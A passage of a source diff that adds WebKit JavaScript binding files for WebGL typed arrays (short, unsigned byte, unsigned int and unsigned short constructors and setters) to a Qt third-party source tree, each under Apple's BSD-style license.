+#include "JSWebGLShortArray.h"
+#include <runtime/Error.h>
+
+namespace WebCore {
+
+using namespace JSC;
+
+const ClassInfo JSWebGLShortArrayConstructor::s_info = { "WebGLShortArrayConstructor", &JSWebGLArray::s_info, 0, 0 };
+
+JSWebGLShortArrayConstructor::JSWebGLShortArrayConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
+    : DOMConstructorObject(JSWebGLShortArrayConstructor::createStructure(globalObject->objectPrototype()), globalObject)
+{
+    putDirect(exec->propertyNames().prototype, JSWebGLShortArrayPrototype::self(exec, globalObject), None);
+    putDirect(exec->propertyNames().length, jsNumber(exec, 2), ReadOnly|DontDelete|DontEnum);
+}
+
+static JSObject* constructCanvasShortArray(ExecState* exec, JSObject* constructor, const ArgList& args)
+{
+    JSWebGLShortArrayConstructor* jsConstructor = static_cast<JSWebGLShortArrayConstructor*>(constructor);
+    RefPtr<WebGLShortArray> array = static_cast<WebGLShortArray*>(construct<WebGLShortArray, short>(exec, args).get());
+    if (!array.get()) {
+        setDOMException(exec, INDEX_SIZE_ERR);
+        return 0;
+    }
+    return asObject(toJS(exec, jsConstructor->globalObject(), array.get()));
+}
+
+JSC::ConstructType JSWebGLShortArrayConstructor::getConstructData(JSC::ConstructData& constructData)
+{
+    constructData.native.function = constructCanvasShortArray;
+    return ConstructTypeHost;
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLShortArrayConstructor.h b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLShortArrayConstructor.h
new file mode 100644
index 0000000..7807a13
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLShortArrayConstructor.h
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef JSWebGLShortArrayConstructor_h
+#define JSWebGLShortArrayConstructor_h
+
+#include "JSDOMBinding.h"
+#include "JSDocument.h"
+
+namespace WebCore {
+
+    class JSWebGLShortArrayConstructor : public DOMConstructorObject {
+    public:
+        JSWebGLShortArrayConstructor(JSC::ExecState*, JSDOMGlobalObject*);
+        static const JSC::ClassInfo s_info;
+
+    private:
+        virtual JSC::ConstructType getConstructData(JSC::ConstructData&);
+        virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
+    };
+
+}
+
+#endif // JSWebGLShortArrayConstructor_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLShortArrayCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLShortArrayCustom.cpp
new file mode 100644
index 0000000..899b0c9
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLShortArrayCustom.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if ENABLE(3D_CANVAS)
+
+#include "JSWebGLArrayHelper.h"
+#include "JSWebGLShortArray.h"
+
+#include "WebGLShortArray.h"
+
+using namespace JSC;
+
+namespace WebCore {
+
+void JSWebGLShortArray::indexSetter(JSC::ExecState* exec, unsigned index, JSC::JSValue value)
+{
+    impl()->set(index, static_cast<signed short>(value.toInt32(exec)));
+}
+
+JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, WebGLShortArray* object)
+{
+    return getDOMObjectWrapper<JSWebGLShortArray>(exec, globalObject, object);
+}
+
+JSC::JSValue JSWebGLShortArray::set(JSC::ExecState* exec, JSC::ArgList const& args)
+{
+    if (args.size() > 2)
+        return throwError(exec, SyntaxError);
+
+    if (args.size() == 2 && args.at(0).isInt32()) {
+        // void set(in unsigned long index, in long value);
+        unsigned index = args.at(0).toUInt32(exec);
+        impl()->set(index, static_cast<signed short>(args.at(1).toInt32(exec)));
+        return jsUndefined();
+    }
+
+    WebGLShortArray* shortArray = toWebGLShortArray(args.at(0));
+    if (shortArray) {
+        // void set(in WebGLShortArray array, [Optional] in unsigned long offset);
+        unsigned offset = 0;
+        if (args.size() == 2)
+            offset = args.at(1).toInt32(exec);
+        ExceptionCode ec = 0;
+        impl()->set(shortArray, offset, ec);
+        setDOMException(exec, ec);
+        return jsUndefined();
+    }
+
+    return setWebGLArrayFromArray(exec, impl(), args);
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedByteArrayConstructor.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedByteArrayConstructor.cpp
new file mode 100644
index 0000000..dcb940e
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedByteArrayConstructor.cpp
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if ENABLE(3D_CANVAS)
+
+#include "JSWebGLUnsignedByteArrayConstructor.h"
+
+#include "Document.h"
+#include "ExceptionCode.h"
+#include "WebGLUnsignedByteArray.h"
+#include "JSWebGLArrayBuffer.h"
+#include "JSWebGLArrayBufferConstructor.h"
+#include "JSWebGLUnsignedByteArray.h"
+#include <runtime/Error.h>
+
+namespace WebCore {
+
+using namespace JSC;
+
+const ClassInfo JSWebGLUnsignedByteArrayConstructor::s_info = { "WebGLUnsignedByteArrayConstructor", &JSWebGLArray::s_info, 0, 0 };
+
+JSWebGLUnsignedByteArrayConstructor::JSWebGLUnsignedByteArrayConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
+    : DOMConstructorObject(JSWebGLUnsignedByteArrayConstructor::createStructure(globalObject->objectPrototype()), globalObject)
+{
+    putDirect(exec->propertyNames().prototype, JSWebGLUnsignedByteArrayPrototype::self(exec, globalObject), None);
+    putDirect(exec->propertyNames().length, jsNumber(exec, 2), ReadOnly|DontDelete|DontEnum);
+}
+
+static JSObject* constructCanvasUnsignedByteArray(ExecState* exec, JSObject* constructor, const ArgList& args)
+{
+    JSWebGLUnsignedByteArrayConstructor* jsConstructor = static_cast<JSWebGLUnsignedByteArrayConstructor*>(constructor);
+    RefPtr<WebGLUnsignedByteArray> array = static_cast<WebGLUnsignedByteArray*>(construct<WebGLUnsignedByteArray, unsigned char>(exec, args).get());
+    if (!array.get()) {
+        setDOMException(exec, INDEX_SIZE_ERR);
+        return 0;
+    }
+    return asObject(toJS(exec, jsConstructor->globalObject(), array.get()));
+}
+
+JSC::ConstructType JSWebGLUnsignedByteArrayConstructor::getConstructData(JSC::ConstructData& constructData)
+{
+    constructData.native.function = constructCanvasUnsignedByteArray;
+    return ConstructTypeHost;
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedByteArrayConstructor.h b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedByteArrayConstructor.h
new file mode 100644
index 0000000..d90ce96
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedByteArrayConstructor.h
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef JSWebGLUnsignedByteArrayConstructor_h
+#define JSWebGLUnsignedByteArrayConstructor_h
+
+#include "JSDOMBinding.h"
+#include "JSDocument.h"
+
+namespace WebCore {
+
+    class JSWebGLUnsignedByteArrayConstructor : public DOMConstructorObject {
+    public:
+        JSWebGLUnsignedByteArrayConstructor(JSC::ExecState*, JSDOMGlobalObject*);
+        static const JSC::ClassInfo s_info;
+
+    private:
+        virtual JSC::ConstructType getConstructData(JSC::ConstructData&);
+        virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
+    };
+
+}
+
+#endif // JSWebGLUnsignedByteArrayConstructor_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedByteArrayCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedByteArrayCustom.cpp
new file mode 100644
index 0000000..b576374
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedByteArrayCustom.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if ENABLE(3D_CANVAS)
+
+#include "JSWebGLArrayHelper.h"
+#include "JSWebGLUnsignedByteArray.h"
+
+#include "WebGLUnsignedByteArray.h"
+
+using namespace JSC;
+
+namespace WebCore {
+
+void JSWebGLUnsignedByteArray::indexSetter(JSC::ExecState* exec, unsigned index, JSC::JSValue value)
+{
+    impl()->set(index, static_cast<unsigned char>(value.toInt32(exec)));
+}
+
+JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, WebGLUnsignedByteArray* object)
+{
+    return getDOMObjectWrapper<JSWebGLUnsignedByteArray>(exec, globalObject, object);
+}
+
+JSC::JSValue JSWebGLUnsignedByteArray::set(JSC::ExecState* exec, JSC::ArgList const& args)
+{
+    if (args.size() > 2)
+        return throwError(exec, SyntaxError);
+
+    if (args.size() == 2 && args.at(0).isInt32()) {
+        // void set(in unsigned long index, in long value);
+        unsigned index = args.at(0).toUInt32(exec);
+        impl()->set(index, static_cast<unsigned char>(args.at(1).toInt32(exec)));
+        return jsUndefined();
+    }
+
+    WebGLUnsignedByteArray* array = toWebGLUnsignedByteArray(args.at(0));
+    if (array) {
+        // void set(in WebGLUnsignedByteArray array, [Optional] in unsigned long offset);
+        unsigned offset = 0;
+        if (args.size() == 2)
+            offset = args.at(1).toInt32(exec);
+        ExceptionCode ec = 0;
+        impl()->set(array, offset, ec);
+        setDOMException(exec, ec);
+        return jsUndefined();
+    }
+
+    return setWebGLArrayFromArray(exec, impl(), args);
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedIntArrayConstructor.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedIntArrayConstructor.cpp
new file mode 100644
index 0000000..23fccce
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedIntArrayConstructor.cpp
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if ENABLE(3D_CANVAS)
+
+#include "JSWebGLUnsignedIntArrayConstructor.h"
+
+#include "Document.h"
+#include "WebGLUnsignedIntArray.h"
+#include "JSWebGLArrayBuffer.h"
+#include "JSWebGLArrayBufferConstructor.h"
+#include "JSWebGLUnsignedIntArray.h"
+#include <runtime/Error.h>
+
+namespace WebCore {
+
+using namespace JSC;
+
+const ClassInfo JSWebGLUnsignedIntArrayConstructor::s_info = { "WebGLUnsignedIntArrayConstructor", &JSWebGLArray::s_info, 0, 0 };
+
+JSWebGLUnsignedIntArrayConstructor::JSWebGLUnsignedIntArrayConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
+    : DOMConstructorObject(JSWebGLUnsignedIntArrayConstructor::createStructure(globalObject->objectPrototype()), globalObject)
+{
+    putDirect(exec->propertyNames().prototype, JSWebGLUnsignedIntArrayPrototype::self(exec, globalObject), None);
+    putDirect(exec->propertyNames().length, jsNumber(exec, 2), ReadOnly|DontDelete|DontEnum);
+}
+
+static JSObject* constructCanvasUnsignedIntArray(ExecState* exec, JSObject* constructor, const ArgList& args)
+{
+    JSWebGLUnsignedIntArrayConstructor* jsConstructor = static_cast<JSWebGLUnsignedIntArrayConstructor*>(constructor);
+    RefPtr<WebGLUnsignedIntArray> array = static_cast<WebGLUnsignedIntArray*>(construct<WebGLUnsignedIntArray, unsigned int>(exec, args).get());
+    if (!array.get()) {
+        setDOMException(exec, INDEX_SIZE_ERR);
+        return 0;
+    }
+    return asObject(toJS(exec, jsConstructor->globalObject(), array.get()));
+}
+
+JSC::ConstructType JSWebGLUnsignedIntArrayConstructor::getConstructData(JSC::ConstructData& constructData)
+{
+    constructData.native.function = constructCanvasUnsignedIntArray;
+    return ConstructTypeHost;
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedIntArrayConstructor.h b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedIntArrayConstructor.h
new file mode 100644
index 0000000..7eabbc1
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedIntArrayConstructor.h
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef JSWebGLUnsignedIntArrayConstructor_h
+#define JSWebGLUnsignedIntArrayConstructor_h
+
+#include "JSDOMBinding.h"
+#include "JSDocument.h"
+
+namespace WebCore {
+
+    class JSWebGLUnsignedIntArrayConstructor : public DOMConstructorObject {
+    public:
+        JSWebGLUnsignedIntArrayConstructor(JSC::ExecState*, JSDOMGlobalObject*);
+        static const JSC::ClassInfo s_info;
+
+    private:
+        virtual JSC::ConstructType getConstructData(JSC::ConstructData&);
+        virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
+    };
+
+}
+
+#endif // JSWebGLUnsignedIntArrayConstructor_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedIntArrayCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedIntArrayCustom.cpp
new file mode 100644
index 0000000..c8b7454
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedIntArrayCustom.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if ENABLE(3D_CANVAS)
+
+#include "JSWebGLArrayHelper.h"
+#include "JSWebGLUnsignedIntArray.h"
+
+#include "WebGLUnsignedIntArray.h"
+
+using namespace JSC;
+
+namespace WebCore {
+
+void JSWebGLUnsignedIntArray::indexSetter(JSC::ExecState* exec, unsigned index, JSC::JSValue value)
+{
+    impl()->set(index, static_cast<unsigned int>(value.toUInt32(exec)));
+}
+
+JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, WebGLUnsignedIntArray* object)
+{
+    return getDOMObjectWrapper<JSWebGLUnsignedIntArray>(exec, globalObject, object);
+}
+
+JSC::JSValue JSWebGLUnsignedIntArray::set(JSC::ExecState* exec, JSC::ArgList const& args)
+{
+    if (args.size() > 2)
+        return throwError(exec, SyntaxError);
+
+    if (args.size() == 2 && args.at(0).isInt32()) {
+        // void set(in unsigned long index, in long value);
+        unsigned index = args.at(0).toUInt32(exec);
+        impl()->set(index, static_cast<unsigned int>(args.at(1).toUInt32(exec)));
+        return jsUndefined();
+    }
+
+    WebGLUnsignedIntArray* array = toWebGLUnsignedIntArray(args.at(0));
+    if (array) {
+        // void set(in WebGLUnsignedIntArray array, [Optional] in unsigned long offset);
+        unsigned offset = 0;
+        if (args.size() == 2)
+            offset = args.at(1).toInt32(exec);
+        ExceptionCode ec = 0;
+        impl()->set(array, offset, ec);
+        setDOMException(exec, ec);
+        return jsUndefined();
+    }
+
+    return setWebGLArrayFromArray(exec, impl(), args);
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedShortArrayConstructor.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedShortArrayConstructor.cpp
new file mode 100644
index 0000000..d8c2cfb
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedShortArrayConstructor.cpp
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if ENABLE(3D_CANVAS)
+
+#include "JSWebGLUnsignedShortArrayConstructor.h"
+
+#include "Document.h"
+#include "WebGLUnsignedShortArray.h"
+#include "JSWebGLArrayBuffer.h"
+#include "JSWebGLArrayBufferConstructor.h"
+#include "JSWebGLUnsignedShortArray.h"
+#include <runtime/Error.h>
+
+namespace WebCore {
+
+using namespace JSC;
+
+const ClassInfo JSWebGLUnsignedShortArrayConstructor::s_info = { "WebGLUnsignedShortArrayConstructor", &JSWebGLArray::s_info, 0, 0 };
+
+JSWebGLUnsignedShortArrayConstructor::JSWebGLUnsignedShortArrayConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
+    : DOMConstructorObject(JSWebGLUnsignedShortArrayConstructor::createStructure(globalObject->objectPrototype()), globalObject)
+{
